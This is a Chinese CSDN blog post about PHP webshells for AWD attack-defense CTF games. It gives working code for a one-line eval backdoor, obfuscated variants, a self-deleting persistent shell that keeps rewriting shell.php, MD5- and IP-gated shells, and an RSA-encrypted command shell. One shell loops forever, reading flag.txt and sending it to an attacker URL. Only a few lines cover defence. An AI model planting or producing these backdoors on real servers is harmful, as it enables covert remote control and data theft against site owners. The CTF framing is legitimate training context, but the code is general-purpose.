awd php,AWD模式下的各类PHP木马

本文详细介绍了PHP木马的各种隐藏技巧,包括混淆马、不死马、MD5验证马、IP验证马和PHP回弹木马,并探讨了相应的防御策略。同时,展示了如何使用RSA公钥加密增强木马的安全性,以及服务器端PHP木马的执行与解密过程。
摘要由CSDN通过智能技术生成

经典一句话木马

最最常见的PHP木马,经典,但也满足不了我们的需求,很容易被大佬识破<?php @eval($_POST["cmd"]); ?>

混淆马:让木马内容难以识别

<?php assert($_POST[-7]); ?> 变换成<?php

@$_='s'.'s'./*-/*-*/'e'./*-/*-*/'r';

@$_=/*-/*-*/'a'./*-/*-*/$_./*-/*-*/'t';

@$_/*-/*-*/($/*-/*-*/{'_P'./*-/*-*/'OS'./*-/*-*/'T'}

[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);

$_POST[0]($_POST[1]);  变换成<?php

@$_++; // $_ = 1

$__=("#"^"|"); // $__ = _

$__.=("."^"~"); // _P

$__.=("/"^"`"); // _PO

$__.=("|"^"/"); // _POS

$__.=("{"^"/"); // _POST

${$__}[!$_](${$__}[$_]); //

?>

不死马:

哪怕被发现也很难被清除<?php

set_time_limit(0);   //PHP脚本限制了执行时间,set_time_limit(0)设置一个脚本的执行时间为无限长

ignore_user_abort(1);  //ignore_user_abort如果设置为 TRUE,则忽略与用户的断开,脚本将继续运行。

unlink(__FILE__);     //删除自身

while(1)

{

file_put_contents('shell.php','<?php @eval($_POST["password"]);?>');  //创建shell.php

sleep(0);    //间隔时间

}

对付这种木马,目前最有效的办法就是重启PHP服务器。

但在awd模式下,一般无权限,

可以通过不断复写shell.php来达到该木马难以被使用的效果。<?php

set_time_limit(0);   // 取消脚本运行时间的超时上限

ignore_user_abort(1);  // 后台运行

while(1)

{

file_put_contents('shell.php','11111111');  //创建shell.php

sleep(0);

}

也可以用bash命令,不断删除该木马文件while : ;do rm -rf xxx; done;

MD5验证木马:

比赛时有的队伍批量种马,但被攻击的服务却可以通过分析本地的木马,然后去连接其他服务器内的相同木马获取flag。

md5验证木马由此产生。防止其他队伍进行分析。<?php

if(md5($_GET['key1'])==="202cb962ac59075b964b07152d234b70")

{

@eval($_POST['key2']);

}

?>

接收key1的值进行MD5,然后比较,相同才执行key2的命令

IP验证木马:

MD5马相对普通马,安全性有了一定提升,但并不能完全杜绝其他队伍的利用。一些队伍可以在php页面内包含waf,抓取流量来获取木马的利用url,可以看到连接小马获取flag的参数。经过复现后,同样能获得flag。于是,我就自然而然的想到了识别ip的php马。<?php

$ip="x.x.x.x"; //自己的ip

if ($_SERVER['REMOTE_ADDR']===$ip)

{

@eval($_POST["cmd"]);

}

php回弹木马:

后来我又想到另外一种隐蔽的方式,让被攻击端主动发送flag到我的服务器,同时也只在后台悄悄的运行。<?php

set_time_limit(0); // 取消脚本运行时间的超时上限

ignore_user_abort(1);  // 后台运行

unlink(__FILE__);    //删除本文件

while(1){

$file="flag.txt"; //设定要读取的文件

$flag=file_get_contents($file);

//在自己的计算机上打开服务器,输入ip让其访问。并创建一个php记录访问的值,jiflag

$url="http://192.168.50.1/jilu.php?flag=".$flag;

$html=file_get_contents($url);

sleep(10);}

?>

RSA公钥加解密木马

服务器端的php木马负责接收攻击端的指令并执行,将执行结果公钥加密后发回,哪怕别人抓流量复现也只能得到加密后的结果。在此,我只给出服务端的php代码:<?php

class Rsa

{

public $private_key = '';

public $public_key = '-----BEGIN PUBLIC KEY-----

MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgFSrrcjL328bU+DpvsOm1R++GGa/

RuHLkGZvAXOF+iWp6oJQ00ekeCWo82jNz+5eyubr7Sz1WcBp0/u4pQQpts43G334

lP9/2xXAXU4dvqs/XPnFLaryp93u+AE3fTQbvq81OpqVwlYNA+vuXUzYxfCakU2l

qnEzo5bRNM0IL5ixAgMBAAE=

-----END PUBLIC KEY-----';

public $encrypted = '';

public $decrypted = "";

public $data = '';

public function init($file)

{

$this-> data = file_get_contents($file);

return $this->data;

}

public function encrypt($data)

{

openssl_public_encrypt($data,$encrypted,$this->public_key);//公钥加密

$encrypted = base64_encode($encrypted);

return $encrypted;

}

public function decrypt_cmd($c)

{

print $c;

openssl_public_decrypt(base64_decode($c),$decrypted,$this->public_key);//私钥加密的内容通过公钥可解密出来

echo "\n";

echo "public key decrypt:\n";

print $decrypted;

echo `$decrypted`;

#passthru($decrypted);

}

public function publicDecrypt($data, $publicKey)

{

openssl_public_decrypt($data, $decrypted, $publicKey);

return $decrypted;

}

}

function publicDecrypt($data, $publicKey)

{

openssl_public_decrypt($data, $decrypted, $publicKey);

return $decrypted;

}

@$i = $_GET['i'];

$rsa =new Rsa();

#1是直接读flag文件

if($i==1)

{

$flag_path="flag";

$data1=$rsa->init($flag_path);

#print  $data1;

$data2=$rsa->encrypt($data1);

print $data2;

}

#2是执行命令

if($i==2)

{

@$c = $_GET['c'];

$cmd = base64_decode($cmd);

$a=`$cmd`;

$a2=$rsa->encrypt($a);

echo $a2;

}

?>

参考:

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值